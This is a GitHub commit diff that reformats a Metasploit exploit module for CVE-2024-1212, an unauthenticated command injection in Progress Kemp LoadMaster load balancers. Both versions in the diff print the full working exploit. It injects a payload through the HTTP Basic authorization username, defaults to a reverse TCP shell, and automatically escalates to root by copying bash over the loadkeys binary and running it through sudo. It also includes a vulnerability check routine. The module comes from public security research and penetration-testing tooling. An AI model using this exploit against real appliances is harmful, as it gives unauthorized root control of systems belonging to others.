Skip to content

Commit 15cf4d8

Browse files
authored
Update progress_kemp_loadmaster_unauth_cmd_injection.rb
1 parent 75d0efb commit 15cf4d8

File tree

1 file changed

+122
-124
lines changed

1 file changed

+122
-124
lines changed

CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb

Lines changed: 122 additions & 124 deletions
Original file line numberDiff line numberDiff line change
@@ -4,134 +4,132 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Remote
7-
Rank = ExcellentRanking
8-
9-
include Msf::Exploit::Remote::HttpClient
10-
prepend Msf::Exploit::Remote::AutoCheck
11-
12-
def initialize(info = {})
13-
super(
14-
update_info(
15-
info,
16-
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
17-
'Description' => %q{
18-
This module exploits an unauthenticated command injection vulnerability in
19-
Progress Kemp LoadMaster, versions before 7.2.59.2.
20-
},
21-
'Author' => [
22-
'Dave Yesland with Rhino Security Labs',
23-
],
24-
'License' => MSF_LICENSE,
25-
'References' => [
26-
['CVE', '2024-1212'],
27-
['URL', 'https://kemptechnologies.com/kemp-load-balancers'],
28-
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/']
29-
],
30-
'DisclosureDate' => '2024',
31-
'Notes' => {
32-
'Stability' => [ CRASH_SAFE ],
33-
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
34-
'Reliability' => [ REPEATABLE_SESSION ]
35-
},
36-
'Platform' => ['unix', 'linux'],
37-
'Arch' => [ARCH_X86, ARCH_X64],
38-
'Targets' => [['Automatic', {}]],
39-
'Privileged' => false,
40-
'DefaultOptions' =>
41-
{
42-
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
43-
'SSL' => true,
44-
'RPORT' => 443
45-
},
46-
'Payload' =>
47-
{
48-
'BadChars' => "\x3a\x27"
49-
}
50-
)
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
17+
'Description' => %q{
18+
This module exploits an unauthenticated command injection vulnerability in
19+
Progress Kemp LoadMaster in the authroization header.
20+
},
21+
'Author' => [
22+
'Dave Yesland with Rhino Security Labs',
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
['CVE', '2024-1212'],
27+
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
28+
['URL', 'https://kemptechnologies.com/kemp-load-balancers']
29+
],
30+
'DisclosureDate' => '2024-03-19',
31+
'Notes' => {
32+
'Stability' => [ CRASH_SAFE ],
33+
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
34+
'Reliability' => [ REPEATABLE_SESSION ]
35+
},
36+
'Platform' => ['unix', 'linux'],
37+
'Arch' => [ARCH_X86, ARCH_X64],
38+
'Targets' => [['Automatic', {}]],
39+
'Privileged' => false,
40+
'DefaultOptions' => {
41+
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
42+
'SSL' => true,
43+
'RPORT' => 443
44+
},
45+
'Payload' => {
46+
'BadChars' => "\x3a\x27"
47+
}
5148
)
52-
53-
register_options([
54-
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
55-
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
56-
])
49+
)
50+
51+
register_options([
52+
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
53+
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
54+
])
55+
56+
@first_session_timestamp = nil
57+
end
58+
59+
def exploit
60+
uri = normalize_uri(target_uri.path, 'access', 'set')
61+
62+
print_status('Sending payload...')
63+
64+
send_request_cgi({
65+
'method' => 'GET',
66+
'uri' => uri,
67+
'vars_get' =>
68+
{
69+
'param' => 'enableapi',
70+
'value' => '1'
71+
},
72+
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
73+
'verify' => false
74+
})
75+
end
5776

58-
@first_session_timestamp = nil
77+
def on_new_session(session)
78+
# Kill the session if it was initiated too close to the first session
79+
# This command injection tends to execute twice, so we want to kill
80+
# the second session. Probably a better way to do this but I don't know it.
81+
super
82+
current_time = Time.now.to_i
83+
if @first_session_timestamp.nil?
84+
@first_session_timestamp = current_time
85+
elsif current_time - @first_session_timestamp < 5
86+
print_error('Detected a session initiated too close to the first session. Terminating it.')
87+
session.kill
5988
end
60-
61-
def exploit
62-
uri = normalize_uri(target_uri.path, 'access', 'set')
63-
64-
print_status("Sending payload...")
65-
66-
res = send_request_cgi({
67-
'method' => 'GET',
68-
'uri' => uri,
69-
'vars_get' =>
70-
{
71-
'param' => 'enableapi',
72-
'value' => "1"
73-
},
74-
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
75-
'verify' => false
76-
})
89+
90+
# Run privesc commands if PRIVESC is set to true
91+
if datastore['PRIVESC']
92+
execute_privesc_command(session)
93+
else
94+
print_status('Privilege escalation skipped.')
95+
end
96+
end
97+
98+
def execute_privesc_command(session)
99+
print_status('Executing privilege escalation command...')
100+
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
101+
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
102+
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
103+
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
104+
end
105+
106+
def check
107+
print_status("Checking if #{peer} is vulnerable...")
108+
109+
uri = normalize_uri(target_uri.path, 'access', 'set')
110+
111+
res = send_request_cgi({
112+
'method' => 'GET',
113+
'uri' => uri,
114+
'vars_get' => {
115+
'param' => 'enableapi',
116+
'value' => '1'
117+
},
118+
'authorization' => basic_auth("'", 'anything'),
119+
'verify' => false
120+
})
121+
122+
# No response from server
123+
unless res
124+
return CheckCode::Unknown
77125
end
78126

79-
def on_new_session(session)
80-
# Kill the session if it was initiated too close to the first session
81-
# This command injection tends to execute twice, so we want to kill
82-
# the second session. Probably a better way to do this but I don't know it.
83-
super
84-
current_time = Time.now.to_i
85-
if @first_session_timestamp.nil?
86-
@first_session_timestamp = current_time
87-
elsif current_time - @first_session_timestamp < 5
88-
print_error("Detected a session initiated too close to the first session. Terminating it.")
89-
session.kill
90-
end
91-
92-
# Run privesc commands if PRIVESC is set to true
93-
if datastore['PRIVESC']
94-
execute_privesc_command(session)
95-
else
96-
print_status('Privilege escalation skipped.')
97-
end
127+
# Check for specific error pattern in headers or body to confirm vulnerability
128+
if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')
129+
return CheckCode::Vulnerable
130+
else
131+
return CheckCode::Safe
98132
end
133+
end
99134

100-
def execute_privesc_command(session)
101-
print_status("Executing privilege escalation command...")
102-
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
103-
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
104-
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
105-
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
106-
end
107-
108-
def check
109-
print_status("Checking if #{peer} is vulnerable...")
110-
111-
uri = normalize_uri(target_uri.path, 'access', 'set')
112-
113-
res = send_request_cgi({
114-
'method' => 'GET',
115-
'uri' => uri,
116-
'vars_get' => {
117-
'param' => 'enableapi',
118-
'value' => "1"
119-
},
120-
'authorization' => basic_auth("'", 'anything'),
121-
'verify' => false
122-
})
123-
124-
# No response from server
125-
unless res
126-
return CheckCode::Unknown
127-
end
128-
129-
# Check for specific error pattern in headers or body to confirm vulnerability
130-
if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching")
131-
return CheckCode::Vulnerable
132-
else
133-
return CheckCode::Safe
134-
end
135-
end
136-
137-
end
135+
end

0 commit comments

Comments
 (0)